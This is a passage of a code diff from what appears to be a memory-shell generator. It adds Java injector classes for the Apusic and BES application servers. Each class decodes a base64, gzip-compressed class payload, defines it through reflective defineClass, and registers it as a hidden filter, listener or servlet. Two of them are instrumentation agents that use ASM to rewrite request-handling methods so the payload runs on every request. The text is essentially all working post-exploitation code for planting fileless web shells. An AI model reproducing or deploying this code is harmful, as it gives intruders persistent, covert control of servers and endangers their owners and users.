+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object filter) throws Exception {
+        Object webModule = getFieldValue(context, "webapp");
+        if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("filter already injected");
+            return;
+        }
+        // addFilterMapping
+        Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
+        Object filterMapping = filterMappingClass.newInstance();
+        invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+
+        // addFilterModel
+        invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
+
+        // filterMapper.populate(this.webapp.getAllFilterMappings())
+        Object allFilterMappings = invokeMethod(webModule, "getAllFilterMappings", null, null);
+        Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
+        Object filterMapper = getFieldValue(context, "filterMapper");
+        invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
+        System.out.println("filter injected successful");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -0,0 +1,175 @@
+package com.reajason.javaweb.memshell.injector.apusic;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class ApusicListenerInjector {
+    static {
+        new ApusicListenerInjector();
+    }
+
+    public ApusicListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("HouseKeeper")) {
+                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object listener) throws Exception {
+        Object webModule = getFieldValue(context, "webapp");
+        String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
+        for (String name : listeners) {
+            if (getClassName().equals(name)) {
+                System.out.println("listener already injected");
+                return;
+            }
+        }
+
+        invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(context, "loadListeners", null, null);
+        System.out.println("listener injected successful");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -0,0 +1,173 @@
+package com.reajason.javaweb.memshell.injector.apusic;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class ApusicServletInjector {
+
+    static {
+        new ApusicServletInjector();
+    }
+
+    public ApusicServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("HouseKeeper")) {
+                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object servlet) throws Exception {
+        Object webModule = getFieldValue(context, "webapp");
+        Object servletMapper = getFieldValue(context, "servletMapper");
+        if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("servlet already injected");
+            return;
+        }
+        invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
+        invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
+        System.out.println("servlet injected successful");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.bes;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
+    private static final String TARGET_METHOD_NAME = "invoke";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new BesContextValveAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
+        System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.bes;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class BesFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new BesFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -0,0 +1,201 @@
+package com.reajason.javaweb.memshell.injector.bes;
+
+import javax.servlet.Filter;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.logging.Logger;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class BesFilterInjector {
+    Logger log = Logger.getLogger(BesFilterInjector.class.getName());
+
+    static {
+        new BesFilterInjector();
+    }
+
+    public BesFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    /**
+     * com.bes.enterprise.webtier.core.DefaultContext
